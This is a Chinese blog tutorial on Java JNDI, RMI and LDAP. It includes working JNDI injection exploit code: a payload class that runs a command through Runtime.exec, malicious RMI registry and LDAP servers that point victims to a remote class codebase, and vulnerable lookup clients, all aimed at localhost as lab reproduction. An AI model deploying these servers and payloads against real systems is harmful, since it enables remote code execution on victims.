JNDI、LDAP、RMI

JNDI

JNDI基础

概念

JNDI全称Java Naming and Directory Interface,JAVA命名和目录接口,是用于在JAVA程序中访问名称和目录服务的API接口。命名服务通过绑定的概念将名称和对象联系起来,使得可以使用名称访问对象。
JNDI中的命名,就是将Java对象以某个名称的形式绑定到一个容器环境中,以后调用JNDI容器环境(Context)的查找(lookup)方法就可以查找出这个名称所绑定的Java对象。通俗讲,你按命名规则给一个东西命名,之后可以通过该名字在特定环境下直接查找到这个东西及其属性。比如通过人名,可以查找到这个人以及他的年龄、籍贯、性别等信息。当然人名可能有重名,但在JNDI中命名必须是唯一的。
JNDI中的目录概念与文件系统中的目录概念大相径庭。JNDI的目录是指将一个对象的所有属性信息保存在一个容器中。
在文件系统中,文件名绑定给文件;在DNS中,URL被绑定给IP地址,在目录服务中,一个对象名被绑定给一个对象实体。
JNDI结构图
JNDI提供的常用服务接口
  • RMI(JAVA远程方法调用)
  • LDAP(轻量级目录访问协议)
  • CORBA(公共对象请求代理体系结构)
  • DNS(域名服务)

代码示例

JNDI可以实现程序的解耦,使应用更加易于配置、易于部署。 下面举例在数据库连接中使用JNDI解耦代码

//原始连接数据库方式,在代码中编程数据库相关信息,资源与代码耦合,不方便维护。
<%
    String url = "jdbc:mysql://localhost:3306/test" ;
    String username = "root" ;
    String password = "123456" ;
    try{
      Class.forName("com.mysql.jdbc.Driver");
      Connection con = DriverManager.getConnection(url , username , password );
      out.println(con);
    }
    catch(SQLException se){
      System.out.println("数据库连接失败!");
      se.printStackTrace() ;
    }
  %>


//使用JNDI连接数据库方式
//将数据库资源提取到context.xml配置文件中,绑定到JNDI环境中。
<?xml version="1.0" encoding="UTF-8"?>
<Context path="/">
    <Resource name="jdbc/test"
              auth="Container"
              type="javax.sql.DataSource"
              driverClassName="com.mysql.jdbc.Driver"
              url="jdbc:mysql://127.0.0.1/test"
              username="root"
              password="123456"
              maxActive="20"
              maxIdle="10"
              maxWait="-1"/>
</Context>
<!--
|- name:表示以后要查找的名称。通过此名称可以找到DataSource,此名称任意更换,但是程序中最终要查找的就是此名称,
|- auth:由容器进行授权及管理,指的用户名和密码是否可以在容器上生效
|- type:此名称所代表的类型,现在为javax.sql.DataSource
|- maxActive:表示一个数据库在此服务器上所能打开的最大连接数
|- maxIdle:表示一个数据库在此服务器上维持的最小连接数
|- maxWait:最大等待时间。10000毫秒
|- username:数据库连接的用户名
|- password:数据库连接的密码
|- driverClassName:数据库连接的驱动程序
|- url:数据库连接的地址
-->
//程序从JNDI环境中查找资源对象
  <%
    try {
    //初始化名称查找上下文
    Context ctx_sql = new InitialContext();
    //通过JNDI名称找到数据源,java:comp/env是环境命名上下文,用于对名称定位,必须加。
    DataSource ds = (DataSource)ctx_sql.lookup("java:comp/env/jdbc/test");
    Connection connmysql = ds.getConnection();
    System.out.println(connmysql);
    out.println("Connection connmysql connected !!");
    }
    catch(SQLException se){
      System.out.println("数据库连接失败!");
      se.printStackTrace() ;
    }
    finally {

     connmysql.close();
        }
   %>

    <!--
     J2EE中的引用常用的有
     JDBC 数据源引用在java:comp/env/jdbc 子上下文中声明
     JMS 连接工厂在java:comp/env/jms 子上下文中声明
     JavaMail 连接工厂在java:comp/env/mail 子上下文中声明
     URL 连接工厂在 java:comp/env/url子上下文中声明
    -->

JNDI注入

如果JNDI名称可控可能存在JNDI注入漏洞。常见的有RMI注入和LDAP注入。

RMI+JNDI Reference Payload

RMI概念

RMI (Remote Method Invocation) 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server端和一个 Client端。
RMI包括以下三个部分: Registry: 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。 Server: 远程方法的提供者,并向Registry注册自身提供的服务 Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用
代码复现与调试分析
  • 版本限制:低于JDK6u141,JDK7u31,JDK8u121。在这些版本中JAVA提升了JNDI限制Naming/Directory服务中的JNDI Reference远程加载Object Factory类的特性。系统属性com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.cosnaming.objectURLCodebase的默认值变为false,即不允许从远程的Codebase加载Rerference工厂类。
  • jdk8u231 jre/lib/rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.class:353

JNDI Reference类是javax.naming.Reference的Java对象。它由有关所引用对象的类信息和地址的有序列表组成。Reference还包含有助于创建引用所引用的对象实例的信息。它包含该对象的JAVA类名称,以及用于创建对象的对象工厂的类名称和位置。

//payload代码
package com.hanjiefang;

import java.io.IOException;
public class exp {
    static {
        try{
            java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","explorer d:\\Test"});
        }
        catch(IOException e)
        {
            e.printStackTrace();
        }
    }
    public static void main(String[] args){}
}
//攻击代码
package com.hanjiefang;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiTest {
    public static void main(String[] args) throws Exception
    {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference bb = new Reference("exp","exp","http://127.0.0.1:9091/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(bb);
            registry.bind("exp1",refObjWrapper);
            System.out.println("success");
        }catch (Exception e)
        {
            e.printStackTrace();
        }

    }
}
//被攻击代码
package com.hanjiefang;

import javax.naming.InitialContext;


public class RmiCli {
    public static void main(String[] args)
    {
        try{
            String uri="rmi://127.0.0.1:1099/exp1";
            InitialContext ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

http://www.codebaoku.com/it-java/it-java-231770.html

绕过高版本JDK限制

LDAP注入

LDAP概念

LDAP是轻量目录访问协议(Lightweight Directory Access Protocol)的缩写。目录服务是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP代码注入复现与调试分析

利用过程与RMI基本相同,修改下协议和端口即可

//ldap服务端代码
package com.Server;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapTest {
    private static  final String LDAP_BASE = "dc=example,uc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:9091/#exp","9990"};
        int port = 0;
        if(args.length < 1 || args[0].indexOf("#")<0)
        {
            System.err.println(LdapTest.class.getSimpleName()+"<codebase_url#classname>[<port>]");
            System.exit(-1);
        }
        else if(args.length >1)
        {
            port = Integer.parseInt(args[1]);
        }
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}
//被攻击代码
package com.axtx;

import javax.naming.InitialContext;

public class LdapCli {
    public static void main(String[] args)
    {
        try{
            String uri="ldap://127.0.0.1:9990/exp";
            InitialContext ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇